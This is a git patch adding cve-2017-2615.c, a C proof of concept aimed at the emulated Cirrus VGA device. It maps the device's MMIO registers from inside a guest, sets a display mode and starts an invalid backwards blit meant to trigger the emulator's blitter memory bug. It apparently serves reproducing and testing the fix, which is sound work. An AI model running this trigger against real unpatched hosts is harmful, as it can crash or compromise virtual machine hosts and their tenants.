From 3e971a05a17148928ce0c9b610d04e87de01d642 Mon Sep 17 00:00:00 2001 From: Gerd Hoffmann Date: Tue, 7 Feb 2017 16:24:26 +0100 Subject: add cve-2017-2615.c --- .gitignore | 2 +- Makefile | 6 +- cve-2017-2615.c | 279 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 284 insertions(+), 3 deletions(-) create mode 100644 cve-2017-2615.c diff --git a/.gitignore b/.gitignore index 6ae7d26..765199d 100644 --- a/.gitignore +++ b/.gitignore @@ -1 +1 @@ -cve-2016-3712 +cve-2017-2615 diff --git a/Makefile b/Makefile index 897a38e..05b84cd 100644 --- a/Makefile +++ b/Makefile @@ -6,9 +6,11 @@ CFLAGS += -Wall SOURCES := $(wildcard *.c) TARGETS := $(patsubst %.c,%,$(SOURCES)) +cve-2017-2615 : CFLAGS += $(shell pkg-config --cflags libpci) +cve-2017-2615 : LDLIBS += $(shell pkg-config --libs libpci) + all: $(TARGETS) clean: rm -f $(TARGETS) - rm -f *~ - + rm -f *~ *.o diff --git a/cve-2017-2615.c b/cve-2017-2615.c new file mode 100644 index 0000000..b953634 --- /dev/null +++ b/cve-2017-2615.c @@ -0,0 +1,279 @@ +/* + +mode setting sequence done by cirrus drm driver + +--- set mode ( 1024 x 768 @ 24 bpp ) --- +vga_cirrus_write_io addr 0x3d4, val 0x11 +vga_cirrus_write_io addr 0x3d5, val 0x20 +vga_cirrus_write_io addr 0x3d4, val 0x0 +vga_cirrus_write_io addr 0x3d5, val 0xa3 +vga_cirrus_write_io addr 0x3d4, val 0x1 +vga_cirrus_write_io addr 0x3d5, val 0x7f +vga_cirrus_write_io addr 0x3d4, val 0x4 +vga_cirrus_write_io addr 0x3d5, val 0x84 +vga_cirrus_write_io addr 0x3d4, val 0x5 +vga_cirrus_write_io addr 0x3d5, val 0x95 +vga_cirrus_write_io addr 0x3d4, val 0x6 +vga_cirrus_write_io addr 0x3d5, val 0x24 +vga_cirrus_write_io addr 0x3d4, val 0x12 +vga_cirrus_write_io addr 0x3d5, val 0xff +vga_cirrus_write_io addr 0x3d4, val 0x9 +vga_cirrus_write_io addr 0x3d5, val 0x60 +vga_cirrus_write_io addr 0x3d4, val 0x7 +vga_cirrus_write_io addr 0x3d5, val 0x79 +vga_cirrus_write_io addr 0x3d4, val 0x1a +vga_cirrus_write_io addr 0x3d5, val 0xe0 +vga_cirrus_write_io addr 0x3d4, val 0x17 +vga_cirrus_write_io addr 0x3d5, val 0x3 + +vga_cirrus_write_io addr 0x3c4, val 0x7 +vga_cirrus_read_io addr 0x3c5, val 0x0 +vga_cirrus_write_io addr 0x3c4, val 0x7 +vga_cirrus_write_io addr 0x3c5, val 0x15 + +vga_cirrus_write_io addr 0x3d4, val 0x13 +vga_cirrus_write_io addr 0x3d5, val 0x80 +vga_cirrus_write_io addr 0x3d4, val 0x1b +vga_cirrus_write_io addr 0x3d5, val 0x32 +vga_cirrus_write_io addr 0x3ce, val 0x5 +vga_cirrus_write_io addr 0x3cf, val 0x40 +vga_cirrus_write_io addr 0x3ce, val 0x6 +vga_cirrus_write_io addr 0x3cf, val 0x1 + +vga_cirrus_read_io addr 0x3c6, val 0xff +vga_cirrus_read_io addr 0x3c6, val 0xff +vga_cirrus_read_io addr 0x3c6, val 0xff +vga_cirrus_read_io addr 0x3c6, val 0xff +vga_cirrus_write_io addr 0x3c6, val 0xc5 + +--- set base address ( 0 ) --- +vga_cirrus_write_io addr 0x3d4, val 0xc +vga_cirrus_write_io addr 0x3d5, val 0x0 +vga_cirrus_write_io addr 0x3d4, val 0xd +vga_cirrus_write_io addr 0x3d5, val 0x0 + +vga_cirrus_write_io addr 0x3d4, val 0x1b +vga_cirrus_read_io addr 0x3d5, val 0x32 +vga_cirrus_write_io addr 0x3d4, val 0x1b +vga_cirrus_write_io addr 0x3d5, val 0x32 + +vga_cirrus_write_io addr 0x3d4, val 0x1d +vga_cirrus_read_io addr 0x3d5, val 0x0 +vga_cirrus_write_io addr 0x3d4, val 0x1d +vga_cirrus_write_io addr 0x3d5, val 0x0 + +-- unblank -- +vga_cirrus_write_io addr 0x3c0, val 0x20 + +*/ + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include + +struct pci_access *pci; +struct pci_dev *dev; + +static void find_device(unsigned int vendor, + unsigned int device) +{ + struct pci_filter filter; + struct pci_dev *d; + + pci_scan_bus(pci); + pci_filter_init(pci, &filter); + filter.vendor = vendor; + filter.device = device; + + for (d = pci->devices; d != NULL; d = d->next) { + if (!pci_filter_match(&filter, d)) + continue; + dev = d; + return; + } + return; +} + +#define VGA_OFFSET (-0x3c0) +#define BLT_OFFSET (0x100) + +#define CIRRUS_MMIO_BLTBGCOLOR 0x00 // dword +#define CIRRUS_MMIO_BLTFGCOLOR 0x04 // dword +#define CIRRUS_MMIO_BLTWIDTH 0x08 // word +#define CIRRUS_MMIO_BLTHEIGHT 0x0a // word +#define CIRRUS_MMIO_BLTDESTPITCH 0x0c // word +#define CIRRUS_MMIO_BLTSRCPITCH 0x0e // word +#define CIRRUS_MMIO_BLTDESTADDR 0x10 // dword +#define CIRRUS_MMIO_BLTSRCADDR 0x14 // dword +#define CIRRUS_MMIO_BLTWRITEMASK 0x17 // byte +#define CIRRUS_MMIO_BLTMODE 0x18 // byte +#define CIRRUS_MMIO_BLTROP 0x1a // byte +#define CIRRUS_MMIO_BLTMODEEXT 0x1b // byte +#define CIRRUS_MMIO_BLTSTATUS 0x40 // byte + +#define CIRRUS_BLT_BUSY 0x01 +#define CIRRUS_BLT_START 0x02 +#define CIRRUS_BLT_RESET 0x04 + +#define CIRRUS_BLTMODE_BACKWARDS 0x01 +#define CIRRUS_BLTMODE_MEMSYSDEST 0x02 +#define CIRRUS_BLTMODE_MEMSYSSRC 0x04 +#define CIRRUS_BLTMODE_TRANSPARENTCOMP 0x08 +#define CIRRUS_BLTMODE_PATTERNCOPY 0x40 +#define CIRRUS_BLTMODE_COLOREXPAND 0x80 +#define CIRRUS_BLTMODE_PIXELWIDTHMASK 0x30 +#define CIRRUS_BLTMODE_PIXELWIDTH8 0x00 +#define CIRRUS_BLTMODE_PIXELWIDTH16 0x10 +#define CIRRUS_BLTMODE_PIXELWIDTH24 0x20 +#define CIRRUS_BLTMODE_PIXELWIDTH32 0x30 + +#define CIRRUS_ROP_0 0x00 +#define CIRRUS_ROP_SRC_AND_DST 0x05 +#define CIRRUS_ROP_NOP 0x06 +#define CIRRUS_ROP_SRC_AND_NOTDST 0x09 +#define CIRRUS_ROP_NOTDST 0x0b +#define CIRRUS_ROP_SRC 0x0d +#define CIRRUS_ROP_1 0x0e +#define CIRRUS_ROP_NOTSRC_AND_DST 0x50 +#define CIRRUS_ROP_SRC_XOR_DST 0x59 +#define CIRRUS_ROP_SRC_OR_DST 0x6d +#define CIRRUS_ROP_NOTSRC_OR_NOTDST 0x90 +#define CIRRUS_ROP_SRC_NOTXOR_DST 0x95 +#define CIRRUS_ROP_SRC_OR_NOTDST 0xad +#define CIRRUS_ROP_NOTSRC 0xd0 +#define CIRRUS_ROP_NOTSRC_OR_DST 0xd6 +#define CIRRUS_ROP_NOTSRC_AND_NOTDST 0xda + +int main(int argc, char *argv[]) +{ + char mmiofile[128]; + int mmiofd; + volatile uint8_t *mmio; + + pci = pci_alloc(); + if (!pci) { + fprintf(stderr, "libpci alloc failed\n"); + exit(1); + } + pci_init(pci); + + find_device(0x1013, 0x00b8); + if (!dev) { + fprintf(stderr, "cirrus not found\n"); + exit(1); + } + fprintf(stderr, "cirrus found at %02x:%02x.%x, mmio @ 0x%08x\n", + dev->bus, dev->dev, dev->func, + (uint32_t) dev->base_addr[1]); + + snprintf(mmiofile, sizeof(mmiofile), + "/sys/bus/pci/devices/%04x:%02x:%02x.%x/resource1", + dev->domain, dev->bus, dev->dev, dev->func); + mmiofd = open(mmiofile, O_RDWR); + if (mmiofd < 0) { + fprintf(stderr, "open %s: %s\n", mmiofile, strerror(errno)); + exit(1); + } + mmio = mmap(NULL, 4096, PROT_WRITE | PROT_READ, MAP_SHARED, mmiofd, 0); + if (mmio == MAP_FAILED) { + fprintf(stderr, "mmap %s: %s\n", mmiofile, strerror(errno)); + exit(1); + } + + fprintf(stderr, "init ok\n"); + sleep(1); + + fprintf(stderr, "setting mode (1024x768 @ 24bpp)\n"); + /* mode */ + mmio[0x3d4 + VGA_OFFSET] = 0x11; + mmio[0x3d5 + VGA_OFFSET] = 0x20; + mmio[0x3d4 + VGA_OFFSET] = 0x0; + mmio[0x3d5 + VGA_OFFSET] = 0xa3; + mmio[0x3d4 + VGA_OFFSET] = 0x1; + mmio[0x3d5 + VGA_OFFSET] = 0x7f; + mmio[0x3d4 + VGA_OFFSET] = 0x4; + mmio[0x3d5 + VGA_OFFSET] = 0x84; + mmio[0x3d4 + VGA_OFFSET] = 0x5; + mmio[0x3d5 + VGA_OFFSET] = 0x95; + mmio[0x3d4 + VGA_OFFSET] = 0x6; + mmio[0x3d5 + VGA_OFFSET] = 0x24; + mmio[0x3d4 + VGA_OFFSET] = 0x12; + mmio[0x3d5 + VGA_OFFSET] = 0xff; + mmio[0x3d4 + VGA_OFFSET] = 0x9; + mmio[0x3d5 + VGA_OFFSET] = 0x60; + mmio[0x3d4 + VGA_OFFSET] = 0x7; + mmio[0x3d5 + VGA_OFFSET] = 0x79; + mmio[0x3d4 + VGA_OFFSET] = 0x1a; + mmio[0x3d5 + VGA_OFFSET] = 0xe0; + mmio[0x3d4 + VGA_OFFSET] = 0x17; + mmio[0x3d5 + VGA_OFFSET] = 0x3; + mmio[0x3c4 + VGA_OFFSET] = 0x7; + mmio[0x3c5 + VGA_OFFSET] = 0x15; + mmio[0x3d4 + VGA_OFFSET] = 0x13; + mmio[0x3d5 + VGA_OFFSET] = 0x80; + mmio[0x3d4 + VGA_OFFSET] = 0x1b; + mmio[0x3d5 + VGA_OFFSET] = 0x32; + mmio[0x3ce + VGA_OFFSET] = 0x5; + mmio[0x3cf + VGA_OFFSET] = 0x40; + mmio[0x3ce + VGA_OFFSET] = 0x6; + mmio[0x3cf + VGA_OFFSET] = 0x1; +#if 0 + mmio[0x3c6 + VGA_OFFSET]; + mmio[0x3c6 + VGA_OFFSET]; + mmio[0x3c6 + VGA_OFFSET]; + mmio[0x3c6 + VGA_OFFSET]; + mmio[0x3c6 + VGA_OFFSET] = 0xc5; +#endif + + /* base */ + mmio[0x3d4 + VGA_OFFSET] = 0xc; + mmio[0x3d5 + VGA_OFFSET] = 0x0; + mmio[0x3d4 + VGA_OFFSET] = 0xd; + mmio[0x3d5 + VGA_OFFSET] = 0x0; + mmio[0x3d4 + VGA_OFFSET] = 0x1b; + mmio[0x3d5 + VGA_OFFSET] = 0x32; + mmio[0x3d4 + VGA_OFFSET] = 0x1d; + mmio[0x3d5 + VGA_OFFSET] = 0x0; + + /* dpms */ + mmio[0x3d4 + VGA_OFFSET] = 0x1; + mmio[0x3d5 + VGA_OFFSET] = 0x0; + mmio[0x3ce + VGA_OFFSET] = 0xe; + mmio[0x3cf + VGA_OFFSET] = 0x1; + + /* unblank */ + mmio[0x3c0 + VGA_OFFSET] = 0x20; + + fprintf(stderr, "mode done\n"); + sleep(1); + + fprintf(stderr, "trying invalid backwards blit\n"); + mmio[BLT_OFFSET + CIRRUS_MMIO_BLTSTATUS] = CIRRUS_BLT_RESET; + mmio[BLT_OFFSET + CIRRUS_MMIO_BLTSTATUS] = 0x00; + + *(uint16_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTWIDTH) = 1024 * 3 - 1; + *(uint16_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTHEIGHT) = 1 - 1; + *(uint16_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTDESTPITCH) = 1024 * 3; + *(uint16_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTSRCPITCH) = 1024 * 3; + *(uint32_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTDESTADDR) = 0; + *(uint32_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTSRCADDR) = 1024 * 3; + + mmio[BLT_OFFSET + CIRRUS_MMIO_BLTMODE] = + CIRRUS_BLTMODE_PIXELWIDTH24 | CIRRUS_BLTMODE_BACKWARDS; + mmio[BLT_OFFSET + CIRRUS_MMIO_BLTROP] = CIRRUS_ROP_SRC; + mmio[BLT_OFFSET + CIRRUS_MMIO_BLTMODEEXT] = 0; + mmio[BLT_OFFSET + CIRRUS_MMIO_BLTSTATUS] = CIRRUS_BLT_START; + + fprintf(stderr, "blit done\n"); + sleep(1); + + exit(0); +} -- cgit